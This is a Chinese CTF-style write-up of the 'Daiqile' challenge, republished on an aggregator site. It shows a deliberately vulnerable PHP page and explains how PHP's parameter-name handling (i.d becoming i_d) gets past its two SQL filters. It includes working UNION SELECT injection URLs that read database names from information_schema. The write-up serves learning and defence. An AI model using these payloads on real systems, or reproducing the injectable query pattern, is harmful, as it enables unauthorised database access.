当前位置: 首页 > news >正文

Daiqile SQL注入绕过

上源码。

<?php
header("Content-type: text/html; charset=utf-8");
require 'db.inc.php';function dhtmlspecialchars($string) {if (is_array($string)) {foreach ($string as $key => $val) {$string[$key] = dhtmlspecialchars($val);}}else {$string = str_replace(array('&', '"', '<', '>', '(', ')'), array('&amp;', '&quot;', '&lt;', '&gt;', '(', ')'), $string);if (strpos($string, '&amp;#') !== false) {$string = preg_replace('/&amp;((#(\d{3,5}|x[a-fA-F0-9]{4}));)/', '&\\1', $string);}}return $string;}function dowith_sql($str) {$check = preg_match('/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/is', $str);if ($check) {echo "非法字符!";exit();}return $str;}
//   hpp php 只接收同名参数的最后一个
// php中会将get传参中的key 中的.转为_
// $_REQUEST 遵循php接收方式 ,i_d&i.d中的最后一个参数的.转换为下划线 然后接收 所以我们的正常代码 放在第二个参数 ,waf失效
//$_SERVER中 i_d与i.d是两个独立的变量,不会进行转换,所以呢,在 $_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
// 处理中,$_value[0]=i_d  $_value[1]=-1 union select flag from users 但是 value1会经常addslashes和dhtmlspecialchars的过滤
// 所以呢 不能出现单双引号,等号,空格// 经过第一个waf处理//i_d=1&i.d=aaaaa&submit=1foreach ($_REQUEST as $key => $value) {$_REQUEST[$key] = dowith_sql($value);}// 经过第二个WAF处理//   var_dump($_SERVER['REQUEST_URI']);exit;$request_uri = explode("?", $_SERVER['REQUEST_URI']);//i_d=1&i.d=aaaaa&submit=1if (isset($request_uri[1])) {$rewrite_url = explode("&", $request_uri[1]);//print_r($rewrite_url);exit;foreach ($rewrite_url as $key => $value) {$_value = explode("=", $value);if (isset($_value[1])) {//$_REQUEST[I_d]=-1 union select flag users$_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));}}}
//   $_REQUEST不能有恶意字符
// $_SERVER// 业务处理//?i_d&i.d=aaaaaaaif (isset($_REQUEST['submit'])) {$user_id = $_REQUEST['i_d'];$sql = "select * from ctf.users where id=$user_id";$result=mysql_query($sql);while($row = mysql_fetch_array($result)){echo "<tr>";echo "<td>" . $row['username'] . "</td>";echo "</tr>";}}
?>

这是这个代码的第一个过滤,过滤了空格、括号这些。

这是第二个过滤,而这第二个过滤基本就给我们卡死了,因为他连select都给过滤了。

那么如果我能让一个无错的id走第二个过滤,然后要进行过滤的id走第一个过滤,只要稍加注意过滤点就能实现注入了。

那么该如何实现这种现象呢?

有一个就是php里i.d和i[d,它是可以把' . "和" [ "转换为" _ ",也就是说将会变成i_d,并且两个相同的变量在一起时,php会取最后一个。

既然这样,那就说明我们可以把无害的值进入第二个过滤函数里,绕过这个waf。

然后随着这一串代码对uri的分割,就可以知道,最后代码是把i_d这个值给取进去了,而i_d里的值就是我们的注入语句。

让我们来看看实现结果。

127.0.0.1/daiqile/index.php?submit=abc&i_d=-1%27/**/union/**/select/**/1,2,3&i.d=3

可以看出我们最后是注入成功了的,回显位在2号位。

127.0.0.1/daiqile/index.php?submit=abc&i_d=-1%27/**/union/**/select/**/1,schema_name,3/**/from/**/information_schema.schemata&i.d=3

再使用limit进行修饰。

127.0.0.1/daiqile/index.php?submit=abc&i_d=-1/**/union/**/select/**/1,schema_name,3/**/from/**/information_schema.schemata/**/limit/**/0,1&i.d=3

http://www.lryc.cn/news/421215.html

相关文章:

  • 用Python轻松移除PDF中的注释
  • 51单片机—串口
  • vue 通过 this.$refs 创建方法i向子组件传参让子组件更新
  • Java设计模式以及代理模式
  • Elasticsearch 索引库管理:查询、修改与删除
  • 视频大怎么压缩小?分享3种视频压缩方法
  • springboot项目搭建集成 redis/跨域/远程请求
  • lvs详解及实例配置
  • DAY41-动态规划-买卖股票
  • 【C#】StringComparer
  • 阿里云服务器远程登录问题解决指南
  • Datawhale X 魔搭 AI夏令营(2024第四期)AIGC方向 学习笔记
  • VScode前端环境搭建
  • Python自动化测试之selenium - 元素定位
  • 深入探索 npm cache clean --force:清理 npm 缓存的艺术
  • 如何看待“低代码”开发平台的兴起?
  • 自动控制——过阻尼、欠阻尼、临界阻尼及无阻尼
  • 从AlphaGo到AlphaPong:AI乒乓球机器人将如何改变乒乓球竞技?
  • 荒原之梦:考研期间可以玩游戏吗?
  • Hive SQL ——窗口函数源码阅读
  • 用python的Manim 创建大括号
  • 白骑士的Matlab教学附加篇 5.2 代码规范与最佳实践
  • Javaweb--SpringBoot
  • 【数据结构】算法的时间复杂度与空间复杂度
  • PyCharm环境python开发上位机
  • ROS 2 参数使用
  • QT的Model-View实现大批量数据展示
  • 2024年8月7日(mysql主从 )
  • 接口/自动化测试 面试集合
  • 菜鸡勇闯第136场双周赛